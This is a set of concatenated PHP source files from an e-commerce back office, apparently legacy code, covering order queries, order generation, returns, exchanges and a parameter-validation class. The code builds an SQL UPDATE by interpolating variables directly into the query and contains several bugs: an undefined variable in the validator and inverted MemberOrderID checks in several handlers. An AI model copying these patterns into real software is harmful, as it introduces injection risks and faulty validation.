$agentRepairOrderID; } /** * 更改换货单订单状态 * @param [type] $targetStatus [description] * @return [type] [description] */ private function _changeAgentRepairOrderStatus($agentRepairOrderID, $oldTargetStatus, $targetStatus) { if (!$agentRepairOrderID) { return false; } $agentRepairOrderIDChangeList = array( array(parent::AGENTORDERSTATUS_APPLY_REPAIR, parent::AGENTORDERSTATUS_REPAIR_SUCCESS), array(parent::AGENTORDERSTATUS_APPLY_REPAIR, parent::AGENTORDERSTATUS_REPAIR_FAILURE), array(parent::AGENTORDERSTATUS_REPAIR_SUCCESS, parent::AGENTORDERSTATUS_REPAIR_DELIVERY) ); if (!in_array(array($oldTargetStatus, $targetStatus), $agentRepairOrderIDChangeList)) { return false; } $sql = "UPDATE AgentRepairOrder SET AgentRepairOrderStatusID = {$targetStatus} WHERE AgentRepairOrderID = {$agentRepairOrderID} AND AgentRepairOrderStatusID = {$oldTargetStatus}"; $result = $this->_db->query($sql); if (!$result) { return false; } $affectedRows = $this->_db->affectedRows(); if ($affectedRows <= 0) { return false; } return true; } /******************* 渠道换货单 (私有方法) end *********************/ } ?> <file_sep><?php /** * 查询订单-forapp * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] * @note 错误码使用范围 3030-3040 8030-8040 * @todo 此处要在比较订单状态之后,选择是查询商品还是查询货品。 */ /** * 查询订单 * @param [type] $core [description] * @return [type] [description] */ function pageAppMemberGetorderinfo(& $core) { switch ($core->action) { case 'getkindsofordercount': // $filter = $core->getJsonEncrypt(); $filter = $core->getFilter(); $memberID = (int)$filter['MemberID']; $memberOrder = $core->subCore->initMemberOrder(); if (!$memberID) { $returnData = MemberOrder::errorReturnData('MemberID_IS_NULL','无法获取到用户编号'); $core->echoJsonEncrypt($returnData); } $data['allOrderCount'] = $memberOrder->getOrderCountByMemberID('all'); $data['payOrderCount'] = $memberOrder->getOrderCountByMemberID('pay'); $data['deliverOrderCount'] = $memberOrder->getOrderCountByMemberID('deliver'); $data['completeOrderCount'] = $memberOrder->getOrderCountByMemberID('complete'); $returnData = MemberOrder::successReturnData($data); exit(json_encode($returnData)); // $core->echoJsonEncrypt($returnData); break; case 'getpurchasecount': $filter = $core->getJsonEncrypt(); $goodsID = $filter['GoodsID']; $memberOrder = $core->subCore->initMemberOrder(); $count = $memberOrder->getPurchaseCountByGoodsID($goodsID); $data = array('PurchaseCount'=>$count); $returnData = MemberOrder::successReturnData($data); $core->echoJsonEncrypt($returnData); break; case 'getsimpledata': $filter = $core->getJsonEncrypt(); $memberOrderID = $filter['MemberOrderID']; $memberOrder = $core->subCore->initMemberOrder(); $simpledata = $memberOrder->getSimpleData($memberOrderID); $data = array('simpleData'=>$simpledata); $core->echoJsonEncrypt(MemberOrder::successReturnData($data)); break; case 'getdetail': // $filter = $core->getJsonEncrypt(); $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); if (isset($filter['MemberOrderID'])) { $returnData = MemberOrder::errorReturnData('MemberOrderID_IS_ILLEGAL','用户订单编号参数非法'); $core->echoJsonEncrypt($returnData); } $coreOrderID = (int)$filter['CoreOrderID']; $type = $filter['type'];//all-全部 pay-待支付 deliver-待发货 complete-已完成 // if (!in_array($type, array('all','pay','deliver','complete'))) { // $returnData = MemberOrder::errorReturnData('ORDERTYPE_IS_NULL','订单种类参数错误'); // $core->echoJsonEncrypt($returnData); // } /* 获取订单的基本详情 */ $orderDetail = (array)$memberOrder->getMemberOrderDetail($memberOrderID,array(),$coreOrderID); // 此处要在比较订单状态之后,选择是查询商品还是查询货品。 $memberOrderDetail['ReceiverName'] = $orderDetail['ReceiverName']; $memberOrderDetail['ReceiverMobile'] = $orderDetail['ReceiverMobile']; // 获取省市区名称 $areaParam['action'] = 'getwholeaddress'; $areaParam['ProvinceID'] = $orderDetail['ProvinceID']; $areaParam['CityID'] = $orderDetail['CityID']; $areaParam['CountyID'] = $orderDetail['AreaID']; $areaResource = $core->getApiData('system','/api/getareaname.php',$areaParam,'post'); $areaInfo = $areaResource['data']; $memberOrderDetail['Address'] = $areaInfo['ProvinceName'] . $areaInfo['CityName'] . $areaInfo['CountyName'] . $orderDetail['Address'];//收货地址 $memberOrderDetail['CoreOrderID'] = $orderDetail['CoreOrderID']; $memberOrderDetail['MemberOrderStatusID'] = $orderDetail['MemberOrderStatusID']; $memberOrderDetail['MemberOrderStatusName'] = MemberOrder::getMemberOrderStatusNameByOrderStatusID($orderDetail['MemberOrderStatusID']);//订单状态名称 $memberOrderDetail['PayTypeName'] = MemberOrder::getMemberPayTypeNameByPayTypeID($orderDetail['PayTypeID']);//订单支付态名称 $memberOrderDetail['TotalAmount'] = $orderDetail['TotalAmount']; $memberOrderDetail['DeliveryFee'] = $orderDetail['DeliveryFee']; $memberOrderDetail['PayDeliveryFee'] = $orderDetail['PayDeliveryFee']; $memberOrderDetail['TotalDeductAmount'] = $orderDetail['ScorePayAmount'] + $orderDetail['CashCouponsPayAmount']+ $orderDetail['DisaccountTotalAmount'];//总的抵扣金额,包括积分、红包、优惠活动。 $memberOrderDetail['PayAmount'] = $orderDetail['PayAmount']; $memberOrderDetail['AddTime'] = $orderDetail['AddTime']; $memberOrderDetail['InvoiceTypeID'] = $orderDetail['InvoiceTypeID']; $memberOrderDetail['InvoiceTitle'] = $orderDetail['InvoiceTitle']; $memberOrderDetail['InvoiceContent'] = $orderDetail['InvoiceContent']; unset($orderDetail); /* 获取订单的货物详情 */ $orderGoodsDetail = (array)$memberOrder->getMemberOrderGoodsDetail($memberOrderID,array(),$coreOrderID); $attachment = $core->initAttachment(); $appUrl = $attachment->loadConfig('_AttachmentUrlList','bssapp'); foreach ($orderGoodsDetail as $goodsKey => $goodsItem) { $memberOrderGoodsList[$goodsKey]['GoodsID'] = $goodsItem['GoodsID']; $memberOrderGoodsList[$goodsKey]['GoodsImagePath'] = $appUrl . $goodsItem['GoodsImagePath']; $memberOrderGoodsList[$goodsKey]['GoodsName'] = $goodsItem['GoodsName']; $memberOrderGoodsList[$goodsKey]['SalePrice'] = $goodsItem['SalePrice']; $memberOrderGoodsList[$goodsKey]['GoodsCount'] = $goodsItem['GoodsCount']; // 如何展示属性 $coreOrderGoodsID = $goodsItem['CoreOrderGoodsID']; $attrFields = array('AttributeName','AttributeValue'); $specFields = array('SpecificationName','SpecificationValue'); $attrSpecList = $memberOrder->getMemberOrderAttrSpec($coreOrderGoodsID, $attrFields, $specFields); $attrList = $attrSpecList['attribute']; $specList = $attrSpecList['specification']; $attribute = ''; $specification = ''; foreach ($attrList as $attrKey => $attrItem) { $attribute .= $attrItem['AttributeName'] . $attrItem['AttributeValue']; } foreach ($specList as $specKey => $specItem) { $specification .= $specItem['SpecificationName'] .':'. $specItem['SpecificationValue'] . ' '; } $memberOrderGoodsList[$goodsKey]['Attribute'] = $attribute; $memberOrderGoodsList[$goodsKey]['Specification'] = $specification; } /* @todo 获得物流信息 */ $logisticInfo = null; // $logisticInfo['LogisticCompany'] = "北京圆通速递有限公司"; // $logisticInfo['LogisticStatus'] = "已签收"; // $logisticInfo['Receiver'] = "签收人:刘传金"; // $logisticInfo['UpdateTime'] = "2016-03-25 17:00:00"; /* 获取支付方式 - 从配置文件中获取 */ $_PaytypeList = $core->loadConfig('_PaytypeList',true); $_PaytypeMethod = $core->loadConfig('_PaytypeMethod',true); $data['memberOrderDetail'] = $memberOrderDetail; $data['memberOrderGoodsList'] = $memberOrderGoodsList; $data['LogisticInfo'] = $logisticInfo; $data['PayTypeInfo']['PayTypeList'] = $_PaytypeList; $data['PayTypeInfo']['PayTypeMethod'] = $_PaytypeMethod; $returnData = MemberOrder::successReturnData($data); exit(json_encode($returnData)); // $core->echoJsonEncrypt($returnData); break; case 'getlist': // app端的展示信息较之pc端略有不同,要同时将商品信息取出来。 // $filter = $core->getFilter(); $filter = $core->getJsonEncrypt(); $memberOrder = $core->subCore->initMemberOrder(); // 分页信息 $pager['pageid'] = (int)$filter['pageid'] ? (int)$filter['pageid'] : 1; $pager['limit'] = (int)$filter['limit'] ? (int)$filter['limit'] : 10; $type = $filter['type'];//all-全部 pay-待支付 deliver-待发货 complete-已完成 if (!in_array($type, array('all','appall','pay','deliver','complete'))) { $returnData = MemberOrder::errorReturnData('ORDERTYPE_IS_NULL','订单种类参数错误'); $core->echoJsonEncrypt($returnData); } $memberOrderStatusID = MemberOrder::getMemberOrderStatusIDByType($type); $filter['MemberOrderStatusID'] = $memberOrderStatusID; // 搜索信息 $memberOrderCount = $memberOrder->getMemberOrderCount($filter); $core->setUsePager($memberOrderCount, $pager['limit']); list($first,$limit) = $core->getLimitByPager(false, $pager['pageid']); $pager['first'] = $first; $specialFields = array('MemberOrderID','CoreOrderID','MemberID','PayTypeID','MemberOrderStatusID','TotalAmount','PayAmount','DeliveryFee','ScorePayAmount','CashCouponsPayAmount','DisaccountTotalAmount','InvoiceTypeID','InvoiceTitle','InvoiceContent');//要获取的指定字段。 $memberOrderList = $memberOrder->getMemberOrderList($pager, $filter, $sort, $specialFields); $attachment = $core->initAttachment(); $appAttachmentUrl = $attachment->loadConfig('_AttachmentUrlList','bssapp'); foreach ($memberOrderList as $orderKey => $orderItem) { $orderStatusID = $orderItem['MemberOrderStatusID']; $memberOrderList[$orderKey]['NeedPayAmount'] = $orderItem['PayAmount']; $memberOrderList[$orderKey]['MemberOrderStatusName'] = MemberOrder::getMemberOrderStatusNameByOrderStatusID($orderStatusID);//订单状态名称 $payTypeID = $orderItem['PayTypeID']; $memberOrderList[$orderKey]['PayTypeName'] = MemberOrder::getMemberPayTypeNameByPayTypeID($payTypeID);//订单支付态名称 $goodsFields = array('GoodsName', 'SalePrice', 'GoodsCount', 'GoodsImagePath','GoodsID','CoreOrderGoodsID'); $memberOrderGoodsList = (array)$memberOrder->getMemberOrderGoodsDetail($orderItem['MemberOrderID'],$goodsFields); foreach ($memberOrderGoodsList as $key => $goodsItem) { $memberOrderGoodsList[$key]['GoodsID'] = $goodsItem['GoodsID']; $memberOrderGoodsList[$key]['GoodsImagePath'] = $appAttachmentUrl . $goodsItem['GoodsImagePath']; $memberOrderGoodsList[$key]['GoodsName'] = $goodsItem['GoodsName']; $memberOrderGoodsList[$key]['SalePrice'] = $goodsItem['SalePrice']; $memberOrderGoodsList[$key]['GoodsCount'] = $goodsItem['GoodsCount']; // 如何展示属性 $coreOrderGoodsID = $goodsItem['CoreOrderGoodsID']; $attrFields = array('AttributeName','AttributeValue'); $specFields = array('SpecificationName','SpecificationValue'); $attrSpecList = $memberOrder->getMemberOrderAttrSpec($coreOrderGoodsID, $attrFields, $specFields); $attrList = $attrSpecList['attribute']; $specList = $attrSpecList['specification']; $attribute = ''; $specification = ''; foreach ($attrList as $attrKey => $attrItem) { $attribute .= $attrItem['AttributeName'] . $attrItem['AttributeValue']; } foreach ($specList as $specKey => $specItem) { $specification .= $specItem['SpecificationName'] .':'. $specItem['SpecificationValue'] . ' '; } $memberOrderGoodsList[$key]['Attribute'] = $attribute; $memberOrderGoodsList[$key]['Specification'] = $specification; } $memberOrderList[$orderKey]['goodsList'] = $memberOrderGoodsList; unset($memberOrderList[$orderKey]['MemberOrderID']); } $data = array('pageid'=>$pager['pageid'], 'limit'=>$pager['limit'], 'memberOrderCount'=>$memberOrderCount, 'memberOrderList'=>$memberOrderList); $returnData = MemberOrder::successReturnData($data); // exit(json_encode($returnData)); exit($core->echoJsonEncrypt($returnData)); break; default: exit('请使用 getdetail 和 getlist 接口'); break; } } ?> <file_sep><?php /** * 将各个页面需要过滤的参数,及其过滤规则写在此类中。 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <<EMAIL>> * @version 1.0 2016-03-10 */ /** * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <<EMAIL>> * @version 1.0 2016-03-10 in development !!! unstable * @access public * @note 错误码使用范围 1000-1100 5000-5100 */ class Parameter { /** * generateorderformember页面case:default的parameter rule。 */ public static $generateorderformember = array( array('name'=>'AgentID', 'required'=>false, 'cnname'=>'代理商编号', 'type'=>'int', 'scale'=>''), array('name'=>'StoreID', 'required'=>false, 'cnname'=>'门店编号', 'type'=>'int', 'scale'=>''), array('name'=>'MemberID', 'required'=>true, 'cnname'=>'用户编号', 'type'=>'int', 'scale'=>'gtzero'), array('name'=>'TotalAmount', 'required'=>true, 'cnname'=>'总金额', 'type'=>'float', 'scale'=>'gtzero'), array('name'=>'PayAmount', 'required'=>false, 'cnname'=>'支付金额', 'type'=>'float', 'scale'=>''), array('name'=>'DeliveryFee', 'required'=>false, 'cnname'=>'快递费用', 'type'=>'float', 'scale'=>''), array('name'=>'PayDeliveryFee', 'required'=>false, 'cnname'=>'已支付快递费用', 'type'=>'float', 'scale'=>''), array('name'=>'ScorePayAmount', 'required'=>false, 'cnname'=>'积分抵扣金额', 'type'=>'float', 'scale'=>''), array('name'=>'ScoreCount', 'required'=>false, 'cnname'=>'使用积分', 'type'=>'int', 'scale'=>''), array('name'=>'CashCouponsPayAmount', 'required'=>false, 'cnname'=>'红包抵扣金额', 'type'=>'float', 'scale'=>''), array('name'=>'DisaccountTotalAmount', 'required'=>false, 'cnname'=>'活动优惠总额', 'type'=>'float', 'scale'=>''), array('name'=>'PayTypeID', 'required'=>false, 'cnname'=>'支付方式', 'type'=>'int', 'scale'=>'gtzero'), array('name'=>'Memo', 'required'=>false, 'cnname'=>'备注', 'type'=>'string', 'scale'=>''), array('name'=>'ReceiverName', 'required'=>false, 'cnname'=>'收货人姓名', 'type'=>'string', 'scale'=>''), array('name'=>'ReceiverMobile', 'required'=>false, 'cnname'=>'收货人电话', 'type'=>'string', 'scale'=>''), array('name'=>'ProvinceID', 'required'=>false, 'cnname'=>'省份编号', 'type'=>'int', 'scale'=>''), array('name'=>'CityID', 'required'=>false, 'cnname'=>'城市编号', 'type'=>'int', 'scale'=>''), array('name'=>'AreaID', 'required'=>false, 'cnname'=>'区县编号', 'type'=>'int', 'scale'=>''), array('name'=>'Address', 'required'=>false, 'cnname'=>'详细地址', 'type'=>'string', 'scale'=>''), array('name'=>'MemberOrderStatusID', 'required'=>true, 'cnname'=>'订单状态', 'type'=>'datetime', 'scale'=>'gtzero'), array('name'=>'LogisticsCompanyID', 'required'=>false, 'cnname'=>'物流公司', 'type'=>'int', 'scale'=>'gtzero'), array('name'=>'LogisticsNumber', 'required'=>false, 'cnname'=>'物流订单号', 'type'=>'string', 'scale'=>''), array('name'=>'MemberOrderSource', 'required'=>false, 'cnname'=>'订单来源', 'type'=>'int', 'scale'=>'') ); /** * [__construct description] */ function __construct() { # code... } public function getParamRules($scriptName) { return self::$$scriptName; } /** * 过滤 filter中的字段,包括 存在必要性、类型和对应类型的取值范围。 * @param $rules = array( * array( * 'name'=>'MemberID', * 'required'=>false, * 'cnname'=>'用户编号', * 'type'=>'int', * 'scale'=>'gtzero' * ), * array( * 'name'=>'TotalAmount', * 'required'=>false, * 'cnname'=>'订单金额', * 'type'=>'float', * 'scale'=>'gtzero' * ), * array( * 'name'=>'Address', * 'required'=>false, * 'cnname'=>'地址', * 'type'=>'string', * 'scale'=>'notnull' * ), * array( * 'name'=>'AddTime', * 'required'=>false, * 'cnname'=>'添加时间', * 'type'=>'datetime', * 'scale'=>'' * ) * ); * @return 如果返回 false,表示出了意外。 * 如果返回 array,就按照status继续处理。 */ public static function filterParameter($param = array(), $rules = array()) { $returnData = array('status'=>'failed','reason'=>''); if ( !is_array($param) || count($param) == 0 ) { $returnData['reason'] = '参数不能为空'; return $returnData; } foreach ($rules as $rulesKey => $rulesValue) { $name = $rulesValue['name']; $type = $rulesValue['type']; $name = $rulesValue['name']; $scale = $rulesValue['scale']; $required = $rulesValue['required']; if ($required === true) { if (!array_key_exists($name, $param)) { $returnData['reason'] = $cnname . '为必传字段'; return $returnData; } } if (!array_key_exists($name, $param)) { continue; } // 获得这个字段下的传递参数的值。 $paramValue = $param[$name]; if ($type == 'int' || $type == 'float') { if (!is_numeric($paramValue)) { $returnData['reason'] = $cnname . '必须是数字'; return $returnData; } $paramValue = ($type == 'int') ? (int)$paramValue : (float)$paramValue; if ($scale == 'gtzero' && $paramValue <= 0) { $returnData['reason'] = $cnname . '必须大于零'; return $returnData; } } elseif ($type == 'string') { if ($scale == 'notnull' && $paramValue == '') { $returnData['reason'] = $cnname . '不能为空'; return $returnData; } } elseif ($type == 'datetime') { $checkResult = strtotime($paramValue); if (!$checkResult) { $returnData['reason'] = $cnname . '必须为时间格式'; return $returnData; } } } $returnData['status'] = 'success'; return $returnData; } } ?><file_sep><?php /** * 用户订单操作类 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] */ /** * 为用户生成订单 * @param [type] $core [description] * @return [type] [description] */ function pageApiMemberGenerateorder(& $core) { switch($core->action) { default: $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $orderInfo = $filter; $orderInfo['OrderTypeID'] = MemberOrder::ORDERTYPE_MEMBER_PURCHASE;//用户购买。 $orderInfo['MemberOrderStatusID'] = MemberOrder::MEMBERORDERSTATUS_UNPAY;//待支付。 $orderInfo['goodsList'] = null;//下面添加 $goodsList = $filter['goodsList'];//根据其中的ID获得商品的详细信息。 $packageGoodsList = $filter['packageGoodsList']; $preferGoodsList = $filter['preferGoodsList']; unset($filter['goodsList']); unset($filter['packageGoodsList']); unset($filter['preferGoodsList']); if (!is_array($goodsList) || count($goodsList) == 0 ) { $returnData = MemberOrder::errorReturnData('CANNOT_GET_GOOSLIST','没有接收到货品信息'); MemberOrder::exitJsonData($returnData); } $goodsIDList = array(); foreach ($goodsList as $goodsKey => $goodsItem) { // 调用玉超的接口,获得商品的详细信息,存储在cukOrder库之中,等于存储了这个商品的镜像了,将来无论产品怎么变,历史记录不会变化。 $goodsIDList[] = $goodsItem['GoodsID']; } foreach ($packageGoodsList as $packageGoodsItem) { $goodsIDList[] = $packageGoodsItem['GoodsID']; } foreach ($preferGoodsList as $preferGoodsItem) { $goodsIDList[] = $preferGoodsItem['GoodsID']; } $param['action'] = 'goodsList'; $param['goodsIDList'] = $goodsIDList; $productResource = $core->getApiData('product','/api/product.php',$param,'post',$debug); if ($productResource['status'] !== 'success') { $returnData = MemberOrder::errorReturnData('CANNOT_GET_GOOSINFO','获取商品信息失败'); MemberOrder::exitJsonData($returnData); } $productInfo = $productResource['data']; $orderGoodsList = array(); $orderPackageGoodsList = array(); $orderPreferGoodsList = array(); foreach ($goodsList as $goodsKey => $goodsItem) { // 调用玉超的接口,获得商品的详细信息,存储在cukOrder库之中,等于存储了这个商品的镜像了,将来无论产品怎么变,历史记录不会变化。 $goodsID = $goodsItem['GoodsID']; $goodsInfo = $productInfo[$goodsID];//调用接口获得商品信息。 $orderGoodsItem = array_merge($goodsItem, $goodsInfo); $orderGoodsList[$goodsID] = $orderGoodsItem; } foreach ($packageGoodsList as $packageGoodsKey => $packageGoodsItem) { $packageGoodsID = $packageGoodsItem['GoodsID']; $packageGoodsInfo = $productInfo[$packageGoodsID];//调用接口获得商品信息。 $packageGoodsItem = array_merge($packageGoodsItem, $packageGoodsInfo); $orderPackageGoodsList[$packageGoodsID] = $packageGoodsItem; } foreach ($preferGoodsList as $preferGoodsKey => $preferGoodsItem) { $preferGoodsID = $preferGoodsItem['GoodsID']; $preferGoodsInfo = $productInfo[$preferGoodsID];//调用接口获得商品信息。 $preferGoodsItem = array_merge($preferGoodsItem, $preferGoodsInfo); $orderPreferGoodsList[$preferGoodsID] = $preferGoodsItem; } $orderInfo['goodsList'] = $orderGoodsList; $orderInfo['packageGoodsList'] = $orderPackageGoodsList; $orderInfo['preferGoodsList'] = $orderPreferGoodsList; /** * 想办法将传过来的数据重组成可以给model类处理的方式。 * @var [type] */ $memberOrderInfo = $memberOrder->generateMemberOrder($orderInfo); MemberOrder::exitJsonData($memberOrderInfo); break; } } ?> <file_sep><?php /** * 处理订单 更改、取消 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] * @note 错误码使用范围 3040-3050 8040-8050 */ /** * 查询订单 * @param [type] $core [description] * @return [type] [description] */ function pageApiMemberHandleorder(& $core) { switch ($core->action) { case 'verifyrefuse': // 货到付款,审核通过 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); if (isset($filter['MemberOrderID'])) { $returnData = MemberOrder::errorReturnData('MemberOrderID_IS_ILLEGAL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); $handleResult = $memberOrder->verifyOrderToFailure($memberOrderID); MemberOrder::exitJsonData($handleResult); break; case 'verifysuccess': // 货到付款,审核通过 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); if (isset($filter['MemberOrderID'])) { $returnData = MemberOrder::errorReturnData('MemberOrderID_IS_ILLEGAL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); $handleResult = $memberOrder->verifyOrderToSuccess($memberOrderID); MemberOrder::exitJsonData($handleResult); break; case 'checkout': // 结算订单,在线支付/线下支付 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); if (isset($filter['MemberOrderID'])) { $returnData = MemberOrder::errorReturnData('MemberOrderID_IS_ILLEGAL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $payTypeID = (int)$filter['PayTypeID']; $coreOrderID = $filter['CoreOrderID']; $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); $handleResult = $memberOrder->checkoutOrder($memberOrderID, $payTypeID); /* 落地配 @author wangyb */ //获取全部落地配名单 StoreID $apiData = $core->getApiData( 'landing', '/api/landinglist.php?action=getDeliveryStoreID', $filter, 'post' ); if($apiData['status'] != 'success') { $returnData = MemberOrder::errorReturnData('DeliveryStoreID_IS_ERROR','获取落地配名单失败'); MemberOrder::exitJsonData($returnData); } //获取门店详情 foreach ($apiData['data']['deliveryStoreIDList'] as $apiKey => $apiValue) { $storeIDList['StoreIDList'][] = $apiValue['StoreID']; } $storeDetail = $core->getApiData( 'store', '/api/store.php?action=getStoreDetailByStoreIDList', $storeIDList, 'post' ); if($storeDetail['status'] != 'success') { $returnData = MemberOrder::errorReturnData('StoreDetail_IS_ERROR','获取落地配门店详情失败'); MemberOrder::exitJsonData($returnData); } //实施落地配 $memberOrderDetail = $memberOrder->getMemberOrderDetail(null, null, $coreOrderID); $memberOrderProvinceID = $memberOrderDetail['ProvinceID']; $memberOrderCityID = $memberOrderDetail['CityID']; $memberOrderAreaID = $memberOrderDetail['AreaID']; $payAmount = $memberOrderDetail['PayAmount']; foreach ($storeDetail['data'] as $storeKey => $storeValue) { $storeProvinceList[$storeValue['StoreID']] = $storeValue['ProvinceID']; $storeCityList[$storeValue['StoreID']] = $storeValue['CityID']; $storeAreaList[$storeValue['StoreID']] = $storeValue['AreaID']; } if (in_array($memberOrderProvinceID, $storeProvinceList)) { $landingStoreID = array_search($memberOrderProvinceID, $storeProvinceList); if (in_array($memberOrderCityID, $storeCityList)) { $landingStoreID = array_search($memberOrderCityID, $storeCityList); } if (in_array($memberOrderAreaID, $storeAreaList)) { $landingStoreID = array_search($memberOrderAreaID, $storeAreaList); } $update = $memberOrder->updateLandingStoreIDByCoreOrderID($memberOrderID, $landingStoreID); $landingOrder['CoreOrderID'] = $coreOrderID; $landingOrder['StoreID'] = $landingStoreID; $landingOrder['SystemSendTotalAmount'] = $payAmount; $landingOrderApi = $core->getApiData( 'landing', '/api/landinglist.php?action=addSystemSendRecordAndSystemSendDetail', $landingOrder, 'post' ); if($landingOrderApi['status'] != 'success') { $returnData = MemberOrder::errorReturnData('AddSystemSendRecord_IS_ERROR','落地配推送记录添加失败'); MemberOrder::exitJsonData($returnData); } } MemberOrder::exitJsonData($handleResult); break; case 'deliver': // 发货,需要手机 货品ID和 核心订单ID【发货不仅有用户订单,还有代理商的订单,所以用CoreOrderID 】 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberOrderID = (int)$filter['MemberOrderID']; $goodsEntityID = $filter['GoodsEntityID'];//数组,哪怕是一个。 $handleResult = $memberOrder->deliverOrder($memberOrderID,$goodsEntityID); MemberOrder::exitJsonData($handleResult); break; case 'signoff': // 签收订单 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); if (isset($filter['MemberOrderID'])) { $returnData = MemberOrder::errorReturnData('MemberOrderID_IS_ILLEGAL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); $handleResult = $memberOrder->signOffOrder($memberOrderID); MemberOrder::exitJsonData($handleResult); break; case 'applyreject': // 官网-申请退货,填写退货信息,更改订单为申请退货状态。 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberOrderID = (int)$filter['MemberOrderID']; $rejectInfo = $filter['rejectInfo']; $goodsEntityIDList = $filter['goodsEntityIDList'];//货品信息 if (!$memberOrderID) { $returnData = MemberOrder::errorReturnData('MEMBERORDERID_IS_NULL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); if (!is_array($rejectInfo) || count($rejectInfo) <= 0) { $returnData = MemberOrder::errorReturnData('REJECTINFO_IS_NULL','退货信息不能为空'); MemberOrder::exitJsonData($returnData); } if (!is_array($goodsEntityIDList) || count($goodsEntityIDList) <= 0) { $returnData = MemberOrder::errorReturnData('GOODSENTITYIDLIST_IS_NULL','退货的货品信息不能为空'); MemberOrder::exitJsonData($returnData); } $handleResult = $memberOrder->applyRejectOrderGoods($memberOrderID,$rejectInfo,$goodsEntityIDList); MemberOrder::exitJsonData($handleResult); break; case 'agreereject': // 官网-同意退货申请 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberReturnOrderID = (int)$filter['MemberReturnOrderID']; $verifyInfo = $filter['verifyInfo'];// 数组。 $adminID = (int)$verifyInfo['AdminID']; if (!$memberReturnOrderID) { $returnData = MemberOrder::errorReturnData('MemberReturnOrderID_IS_NULL','无法获取到用户退货订单编号'); MemberOrder::exitJsonData($returnData); } if (!$adminID) { $returnData = MemberOrder::errorReturnData('ADMINID_IS_NULL','无法获取管理员编号'); MemberOrder::exitJsonData($returnData); } $handleResult = $memberOrder->agreeRejectOrderGoods($memberReturnOrderID, $adminID, $verifyInfo); MemberOrder::exitJsonData($handleResult); break; case 'refusereject': // 官网-驳回退货申请 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberReturnOrderID = (int)$filter['MemberReturnOrderID']; $verifyInfo = $filter['verifyInfo'];// 数组。 $adminID = (int)$verifyInfo['AdminID']; if (!$memberReturnOrderID) { $returnData = MemberOrder::errorReturnData('MemberReturnOrderID_IS_NULL','无法获取到用户退货订单编号'); MemberOrder::exitJsonData($returnData); } $handleResult = $memberOrder->refuseRejectOrderGoods($memberReturnOrderID, $adminID, $verifyResult); MemberOrder::exitJsonData($handleResult); break; case 'rejectforagent': // 代理商-退货 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberOrderID = (int)$filter['MemberOrderID']; $rejectGoodsInfo = $filter['rejectGoodsInfo']; if (!$memberOrderID) { $returnData = MemberOrder::errorReturnData('MEMBERORDERID_IS_NULL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); if (!is_array($rejectGoodsInfo) || count($rejectGoodsInfo) <= 0) { $returnData = MemberOrder::errorReturnData('REJECTINFO_IS_NULL','退货信息不能为空'); MemberOrder::exitJsonData($returnData); } $handleResult = $memberOrder->rejectOrderGoodsForAgent($memberOrderID,$rejectGoodsInfo); MemberOrder::exitJsonData($handleResult); break; case 'rejectrefundforagent': // 代理商-退货退款 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberReturnOrderID = $filter['MemberReturnOrderID']; if (!$memberReturnOrderID) { $returnData = MemberOrder::errorReturnData('MEMBERRETURNORDERID_IS_NULL','无法获取到用户退货订单编号'); MemberOrder::exitJsonData($returnData); } $handleResult = $memberOrder->rejectrefundOrderGoodsForAgent($memberReturnOrderID); MemberOrder::exitJsonData($handleResult); break; case 'applybarter': // 官网-申请换货 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberOrderID = (int)$filter['MemberOrderID']; $barterInfo = $filter['barterInfo']; $goodsEntityIDList = $filter['goodsEntityIDList'];//货品信息 if (!$memberOrderID) { $returnData = MemberOrder::errorReturnData('MemberOrderID_IS_ILLEGAL','用户订单编号参数非法'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $filter['CoreOrderID']; $memberOrderID = $memberOrder->getMemberOrderIDByCoreOrderID($coreOrderID); if (!is_array($barterInfo) || count($barterInfo) <= 0) { $returnData = MemberOrder::errorReturnData('BARTERINFO_IS_NULL','换货信息不能为空'); MemberOrder::exitJsonData($returnData); } if (!is_array($goodsEntityIDList) || count($goodsEntityIDList) <= 0) { $returnData = MemberOrder::errorReturnData('GOODSENTITYIDLIST_IS_NULL','换货的货品信息不能为空'); MemberOrder::exitJsonData($returnData); } $handleResult = $memberOrder->applyBarterOrderGoods($memberOrderID, $barterInfo,$goodsEntityIDList); MemberOrder::exitJsonData($handleResult); break; 